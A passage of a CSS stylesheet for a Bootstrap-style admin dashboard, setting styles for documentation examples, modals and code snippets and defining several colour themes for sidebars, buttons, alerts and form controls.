.bd-example-row .flex-items-bottom, .bd-example-row .flex-items-middle, .bd-example-row .flex-items-top { min-height: 6rem; background-color: rgba(255, 0, 0, 0.1); } .bd-example-row-flex-cols .row { min-height: 10rem; background-color: rgba(255, 0, 0, 0.1); } /* Docs examples */ .bd-example { position: relative; padding: 1rem; margin: 1rem; border: solid #ddd; border-width: 0.2rem 0 0; } @media only screen and (max-height: 575px) { .bd-example { padding: 1.5rem; margin-right: 0; margin-left: 0; border-width: 0.2rem; } } /* Example modals */ .modal { z-index: 1072; } .modal .popover, .modal .tooltip { z-index: 1073; } .modal-backdrop { z-index: 1071; } .bd-example-modal { background-color: #f8f9fd; } .bd-example-modal .modal { position: relative; top: auto; right: auto; bottom: auto; left: auto; z-index: 1; display: block; } .bd-example-modal .modal-dialog { left: auto; margin-right: auto; margin-left: auto; } .bd-example-modal .offcanvas { position: static; display: block; height: 200px; visibility: visible; transform: translate(0); } /* Example tabbable tabs */ .bd-example-tabs .nav-tabs { margin-bottom: 1rem; } /* Code snippets */ .highlight { padding: 1rem; margin-top: 1rem; margin-bottom: 1rem; background-color: #f3f2fb; -ms-overflow-style: -ms-autohiding-scrollbar; } @media only screen and (max-height: 575px) { .highlight { padding: 1.5rem; } } .bd-content .highlight { margin-right: 15px; margin-left: 15px; } @media only screen and (max-height: 575px) { .bd-content .highlight { margin-right: 0; margin-left: 0; } } .highlight pre { padding: 0; margin-top: 0; margin-bottom: 0; background-color: transparent; border: 0; } .highlight pre code { font-size: inherit; color: #333; } :not(pre) > code[class*="language-"], pre[class*="language-"] { background: transparent; } /* ================================ Blockquote Start ===================== */ svg.feather:not([class*="wid-"]) { width: 20px; } svg.feather:not([class*="hei-"]) { height: 20px; } @media (min-width: 1600px) { .container { max-width: 1540px; } } pre[class*="language-"]:before, pre[class*="language-"]:after { display: none; } :not(pre) > code[class*="language-"], pre[class*="language-"] { display: flex; margin: 0; } pre[class*="language-"] > code { width: 100%; } .media { display: flex; } .media .media-body { flex: 1; } .blockquote { border-left: 0.25rem solid #f1f1f1; padding: 0.5rem 1rem; } .blockquote.text-end { border-left: none; border-right: 0.25rem solid #f1f1f1; } .breadcrumb svg.feather { width: 16px; height: 16px; vertical-align: baseline; } [data-notify] .close { border: 0; opacity: 0.5; width: 1em; height: 1em; margin-top: 5px; color: transparent !important; background: transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23000000' viewBox='0 0 16 16'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat; filter: invert(1) grayscale(100%) brightness(200%); } /* ================================ Blockquote End ===================== */ a[data-lightbox] { cursor: pointer; } pre[class*="language-"] > code { box-shadow: 0px 0px 0px 1px #dfdfdf; border-left: 5px solid; } .offcanvas { z-index: 1075; } .dash-sidebar .accordion-item { border: none; } .form-switch.form-switch-right { padding-left: 0; margin-bottom: 0; } .form-switch.form-switch-right .form-check-input { float: right; } body.theme-1 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-1 .bg-primary { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60 !important; } body.theme-1 .dash-header .drp-language .drp-text, body.theme-1 .dash-header .dash-head-link > i:not(.nocolor) { color: #0CAF60; } body.theme-1 .dash-header .drp-company .theme-avtar { background: #ceefdf; color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; color: #fff; box-shadow: 0 5px 7px -1px rgba(12, 175, 96, 0.3); } body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #0CAF60; } body.theme-1 a:not([class]) { color: #0CAF60; } body.theme-1 a:not([class]):hover { color: #0CAF60; } body.theme-1 .text-primary { color: #0CAF60 !important; } body.theme-1 .list-group-item.active { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60 !important; } body.theme-1 .progress-bar:not([class*="bg-"]), body.theme-1 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #0CAF60; --bs-btn-border-color: #0CAF60; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0a9552; --bs-btn-hover-border-color: #0a8c4d; --bs-btn-focus-shadow-rgb: 48, 187, 120; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0a8c4d; --bs-btn-active-border-color: #098348; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #0CAF60; --bs-btn-disabled-border-color: #0CAF60; } body.theme-1 .btn-outline-primary { --bs-btn-color: #0CAF60; --bs-btn-border-color: #0CAF60; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0CAF60; --bs-btn-hover-border-color: #0CAF60; --bs-btn-focus-shadow-rgb: 12, 175, 96; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0CAF60; --bs-btn-active-border-color: #0CAF60; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #0CAF60; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #0CAF60; --bs-gradient: none; } body.theme-1 .btn-light-primary { background: #ceefdf; color: #0CAF60; border-color: #ceefdf; } body.theme-1 .btn-light-primary:hover { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-light-primary.focus, body.theme-1 .btn-light-primary:focus { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-1 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-1 .btn-light-primary.dropdown-toggle { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-check:active + .btn-light-primary, body.theme-1 .btn-check:checked + .btn-light-primary { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .alert-primary { --bs-alert-color: #07693a; --bs-alert-bg: #ceefdf; --bs-alert-border-color: #b6e7cf; } body.theme-1 .alert-primary .alert-link { color: #06542e; } body.theme-1 .badge.bg-light-primary { background: #ceefdf; color: #0CAF60; border-color: #ceefdf; } body.theme-1 .page-item.active .page-link { background: #0CAF60; border-color: #0CAF60; } body.theme-1 .nav-link { color: #0CAF60; } body.theme-1 .nav-link:hover, body.theme-1 .nav-link:focus { color: #0CAF60; } body.theme-1 .nav-tabs .nav-link { background: none; } body.theme-1 .nav-pills .nav-link { background: none; } body.theme-1 .nav-pills .nav-link:focus, body.theme-1 .nav-pills .nav-link.active, body.theme-1 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; } body.theme-1 .form-check-input:focus, body.theme-1 .form-select:focus, body.theme-1 .form-control:focus, body.theme-1 .custom-select:focus, body.theme-1 .dataTable-selector:focus, body.theme-1 .dataTable-input:focus { border-color: #0CAF60; box-shadow: 0 0 0 0.2rem rgba(12, 175, 96, 0.25); } body.theme-1 .form-check-input:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-range::-webkit-slider-thumb { background: #0CAF60; } body.theme-1 .form-range::-webkit-slider-thumb:active { background: #0CAF60; } body.theme-1 .form-range::-moz-range-thumb { background: #0CAF60; } body.theme-1 .form-range::-moz-range-thumb:active { background: #0CAF60; } body.theme-1 .form-check-input:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-check-input[type="checkbox"]:indeterminate { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-check .form-check-input.input-primary:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 pre[class*="language-"] > code { border-left-color: #0CAF60; background-image: linear-gradient(transparent 50%, rgba(12, 175, 96, 0.04) 50%); } body.theme-1 .card .card-header h5:after, body.theme-1 .card .card-header .h5:after, body.theme-1 .card .card-header .h5:after { background: #0CAF60; } body.theme-2 { background: linear-gradient(115.25deg, #ffffff 0%, #f8f9fd 100.25%); } body.theme-2 .bg-primary { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2 !important; } body.theme-2 .dash-header .drp-language .drp-text, body.theme-2 .dash-header .dash-head-link > i:not(.nocolor) { color: #584ED2; } body.theme-2 .dash-header .drp-company .theme-avtar { background: #dedcf6; color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; color: #fff; box-shadow: 0 5px 7px -1px rgba(88, 78, 210, 0.3); } body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #584ED2; } body.theme-2 a:not([class]) { color: #584ED2; } body.theme-2 a:not([class]):hover { color: #584ED2; } body.theme-2 .text-primary { color: #584ED2 !important; } body.theme-2 .list-group-item.active { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2 !important; } body.theme-2 .progress-bar:not([class*="bg-"]), body.theme-2 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #584ED2; --bs-btn-border-color: #584ED2; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #4b42b3; --bs-btn-hover-border-color: #463ea8; --bs-btn-focus-shadow-rgb: 113, 105, 217; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #463ea8; --bs-btn-active-border-color: #423b9e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #584ED2; --bs-btn-disabled-border-color: #584ED2; } body.theme-2 .btn-outline-primary { --bs-btn-color: #584ED2; --bs-btn-border-color: #584ED2; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #584ED2; --bs-btn-hover-border-color: #584ED2; --bs-btn-focus-shadow-rgb: 88, 78, 210; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #584ED2; --bs-btn-active-border-color: #584ED2; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #584ED2; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #584ED2; --bs-gradient: none; } body.theme-2 .btn-light-primary { background: #dedcf6; color: #584ED2; border-color: #dedcf6; } body.theme-2 .btn-light-primary:hover { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-light-primary.focus, body.theme-2 .btn-light-primary:focus { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-2 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-2 .btn-light-primary.dropdown-toggle { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-check:active + .btn-light-primary, body.theme-2 .btn-check:checked + .btn-light-primary { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .alert-primary { --bs-alert-color: #352f7e; --bs-alert-bg: #dedcf6; --bs-alert-border-color: #cdcaf2; } body.theme-2 .alert-primary .alert-link { color: #2a2665; } body.theme-2 .badge.bg-light-primary { background: #dedcf6; color: #584ED2; border-color: #dedcf6; } body.theme-2 .page-item.active .page-link { background: #584ED2; border-color: #584ED2; } body.theme-2 .nav-link { color: #584ED2; } body.theme-2 .nav-link:hover, body.theme-2 .nav-link:focus { color: #584ED2; } body.theme-2 .nav-tabs .nav-link { background: none; } body.theme-2 .nav-pills .nav-link { background: none; } body.theme-2 .nav-pills .nav-link:focus, body.theme-2 .nav-pills .nav-link.active, body.theme-2 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; } body.theme-2 .form-check-input:focus, body.theme-2 .form-select:focus, body.theme-2 .form-control:focus, body.theme-2 .custom-select:focus, body.theme-2 .dataTable-selector:focus, body.theme-2 .dataTable-input:focus { border-color: #584ED2; box-shadow: 0 0 0 0.2rem rgba(88, 78, 210, 0.25); } body.theme-2 .form-check-input:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-range::-webkit-slider-thumb { background: #584ED2; } body.theme-2 .form-range::-webkit-slider-thumb:active { background: #584ED2; } body.theme-2 .form-range::-moz-range-thumb { background: #584ED2; } body.theme-2 .form-range::-moz-range-thumb:active { background: #584ED2; } body.theme-2 .form-check-input:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-check-input[type="checkbox"]:indeterminate { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-check .form-check-input.input-primary:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 pre[class*="language-"] > code { border-left-color: #584ED2; background-image: linear-gradient(transparent 50%, rgba(88, 78, 210, 0.04) 50%); } body.theme-2 .card .card-header h5:after, body.theme-2 .card .card-header .h5:after, body.theme-2 .card .card-header .h5:after { background: #584ED2; } body.theme-3 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-3 .bg-primary { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943 !important; } body.theme-3 .dash-header .drp-language .drp-text, body.theme-3 .dash-header .dash-head-link > i:not(.nocolor) { color: #6FD943; } body.theme-3 .dash-header .drp-company .theme-avtar { background: #e2f7d9; color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; color: #fff; box-shadow: 0 5px 7px -1px rgba(111, 217, 67, 0.3); } body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #6FD943; } body.theme-3 a:not([class]) { color: #6FD943; } body.theme-3 a:not([class]):hover { color: #6FD943; } body.theme-3 .text-primary { color: #6FD943 !important; } body.theme-3 .list-group-item.active { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943 !important; } body.theme-3 .progress-bar:not([class*="bg-"]), body.theme-3 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #6FD943; --bs-btn-border-color: #6FD943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5eb839; --bs-btn-hover-border-color: #59ae36; --bs-btn-focus-shadow-rgb: 133, 223, 95; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #59ae36; --bs-btn-active-border-color: #53a332; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6FD943; --bs-btn-disabled-border-color: #6FD943; } body.theme-3 .btn-outline-primary { --bs-btn-color: #6FD943; --bs-btn-border-color: #6FD943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6FD943; --bs-btn-hover-border-color: #6FD943; --bs-btn-focus-shadow-rgb: 111, 217, 67; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6FD943; --bs-btn-active-border-color: #6FD943; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6FD943; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6FD943; --bs-gradient: none; } body.theme-3 .btn-light-primary { background: #e2f7d9; color: #6FD943; border-color: #e2f7d9; } body.theme-3 .btn-light-primary:hover { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-light-primary.focus, body.theme-3 .btn-light-primary:focus { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-3 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-3 .btn-light-primary.dropdown-toggle { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-check:active + .btn-light-primary, body.theme-3 .btn-check:checked + .btn-light-primary { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .alert-primary { --bs-alert-color: #438228; --bs-alert-bg: #e2f7d9; --bs-alert-border-color: #d4f4c7; } body.theme-3 .alert-primary .alert-link { color: #366820; } body.theme-3 .badge.bg-light-primary { background: #e2f7d9; color: #6FD943; border-color: #e2f7d9; } body.theme-3 .page-item.active .page-link { background: #6FD943; border-color: #6FD943; } /* body.theme-3 .nav-link { color: #6FD943; } */ body.theme-3 .nav-link:hover, body.theme-3 .nav-link:focus { color: #6FD943; } body.theme-3 .nav-tabs .nav-link { background: none; } body.theme-3 .nav-pills .nav-link { background: none; } body.theme-3 .nav-pills .nav-link:focus, body.theme-3 .nav-pills .nav-link.active, body.theme-3 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; } body.theme-3 .form-check-input:focus, body.theme-3 .form-select:focus, body.theme-3 .form-control:focus, body.theme-3 .custom-select:focus, body.theme-3 .dataTable-selector:focus, body.theme-3 .dataTable-input:focus { border-color: #6FD943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } body.theme-3 .form-check-input:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-range::-webkit-slider-thumb { background: #6FD943; } body.theme-3 .form-range::-webkit-slider-thumb:active { background: #6FD943; } body.theme-3 .form-range::-moz-range-thumb { background: #6FD943; } body.theme-3 .form-range::-moz-range-thumb:active { background: #6FD943; } body.theme-3 .form-check-input:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-check-input[type="checkbox"]:indeterminate { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-check .form-check-input.input-primary:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 pre[class*="language-"] > code { border-left-color: #6FD943; background-image: linear-gradient(transparent 50%, rgba(111, 217, 67, 0.04) 50%); } body.theme-3 .card .card-header h5:after, body.theme-3 .card .card-header .h5:after, body.theme-3 .card .card-header .h5:after { background: #6FD943; } body.theme-4 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-4 .bg-primary { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388 !important; } body.theme-4 .dash-header .drp-language .drp-text, body.theme-4 .dash-header .dash-head-link > i:not(.nocolor) { color: #145388; } body.theme-4 .dash-header .drp-company .theme-avtar { background: #d0dde7; color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; color: #fff; box-shadow: 0 5px 7px -1px rgba(20, 83, 136, 0.3); } body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #145388; } body.theme-4 a:not([class]) { color: #145388; } body.theme-4 a:not([class]):hover { color: #145388; } body.theme-4 .text-primary { color: #145388 !important; } body.theme-4 .list-group-item.active { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388 !important; } body.theme-4 .progress-bar:not([class*="bg-"]), body.theme-4 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #145388; --bs-btn-border-color: #145388; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #114774; --bs-btn-hover-border-color: #10426d; --bs-btn-focus-shadow-rgb: 55, 109, 154; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #10426d; --bs-btn-active-border-color: #0f3e66; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #145388; --bs-btn-disabled-border-color: #145388; } body.theme-4 .btn-outline-primary { --bs-btn-color: #145388; --bs-btn-border-color: #145388; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #145388; --bs-btn-hover-border-color: #145388; --bs-btn-focus-shadow-rgb: 20, 83, 136; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #145388; --bs-btn-active-border-color: #145388; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #145388; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #145388; --bs-gradient: none; } body.theme-4 .btn-light-primary { background: #d0dde7; color: #145388; border-color: #d0dde7; } body.theme-4 .btn-light-primary:hover { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-light-primary.focus, body.theme-4 .btn-light-primary:focus { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-4 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-4 .btn-light-primary.dropdown-toggle { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-check:active + .btn-light-primary, body.theme-4 .btn-check:checked + .btn-light-primary { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .alert-primary { --bs-alert-color: #0c3252; --bs-alert-bg: #d0dde7; --bs-alert-border-color: #b9cbdb; } body.theme-4 .alert-primary .alert-link { color: #0a2842; } body.theme-4 .badge.bg-light-primary { background: #d0dde7; color: #145388; border-color: #d0dde7; } body.theme-4 .page-item.active .page-link { background: #145388; border-color: #145388; } body.theme-4 .nav-link { color: #145388; } body.theme-4 .nav-link:hover, body.theme-4 .nav-link:focus { color: #145388; } body.theme-4 .nav-tabs .nav-link 